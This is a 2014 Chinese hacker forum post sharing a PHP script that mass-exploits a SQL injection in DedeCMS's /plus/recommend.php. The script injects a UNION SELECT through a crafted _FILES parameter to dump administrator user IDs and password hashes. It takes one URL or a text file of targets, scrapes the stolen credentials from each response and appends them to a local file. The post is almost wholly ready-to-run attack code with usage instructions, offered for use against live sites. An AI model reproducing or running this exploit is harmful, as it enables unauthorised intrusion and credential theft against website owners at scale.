搜索
查看: 778|回复: 0

dede爆菊PHP加强版

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-3-1 10:46:11 | 显示全部楼层 |阅读模式
下面说下功能, 可以单个使用也可以批量使用,单个使用直接输入url作为参数就行,批量则输入txt文件做参数。下面上代码:
  1. <?php
  2. class f4ck_dede{    //定义一个类

  3.         public function exploit($xxx){    //一个执行exp的方法函数
  4.                 $url=str_replace("http://","",$xxx);
  5.                 $expurl="http://{$url}/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat(0x3C6162633E,group_concat(0x7C,userid,0x3a,pwd,0x7C),0x3C2F6162633E),5,6,7,8,9%20from%20`%23@__admin`%23";
  6.                 $ch=curl_init();         //通过PHP的curl扩展实现模拟访问,这个比较有意思,而且很多协议都支持,有兴趣的可以去http://cn2.php.net/curl看看
  7.                 curl_setopt($ch,CURLOPT_HEADER,0);
  8.                 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  9.                 curl_setopt($ch,CURLOPT_REFERER,$expurl);
  10.                 curl_setopt($ch,CURLOPT_URL,$expurl);
  11.                 $out=curl_exec($ch);
  12.                 preg_match('~_<abc>(.*)</abc>_~',$out,$output);
  13.                 $output=str_replace("_<abc>|","",$output[0]);
  14.                 $output=str_replace("|</abc>_","",$output);
  15.                 $result="web:{$url} | result:{$output}
  16. ";
  17.                 echo $result;
  18.                 curl_close($ch);
  19.                 file_put_contents("result.txt",$result,FILE_APPEND);  //将结果保存为本地文件
  20.         }
  21.         public function expp($argss){   //方法选择,单个还是批量,判断参数是文件就用批量,不是就是单个
  22.                 if (preg_match('~(.*)(\.txt)~',$argss)){
  23.                 $conts = file_get_contents($argss);
  24.                 $arrConts = explode("\n",$conts);             //这段格式化我就直接copy大牛的了,http://sb.f4ck.org/thread-17307-1-1.html
  25.                 $arrConts=str_replace(" ","",$arrConts);
  26.                 $arrConts=str_replace("\r","",$arrConts);
  27.                 $arrConts=str_replace("\n","",$arrConts);
  28.                 for($i=0;isset($arrConts[$i]);$i++){
  29.                 $this->exploit($arrConts[$i]);
  30.                 }
  31.                 }
  32.                 elseif (isset($argss)){
  33.         
  34.                 $xx=$argss;
  35.                 $this->exploit($xx);
  36.                
  37.                 }
  38.                 }
  39.         }
  40.         set_time_limit(0);
  41.         print_r("
  42.         ++++++++++++++++++++++++++++++++++++++++++++++  
  43.         +           dede exp                             +
  44.         +     usage:dede.php url(or url.txt)         +
  45.         +   example:dede.php www.xxx.com(or url.txt) +
  46.         +                             by h2y         +
  47.         +++++++++++++++++++++++++++++++++++++++++++++\n\n\n
  48. ");
  49.         @$website=$argv[1];
  50.         $eexp=new f4ck_dede();  //新建一个对象
  51.         @$eexp->expp($argv[1]);  //调用类方法

  52. ?>
复制代码
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表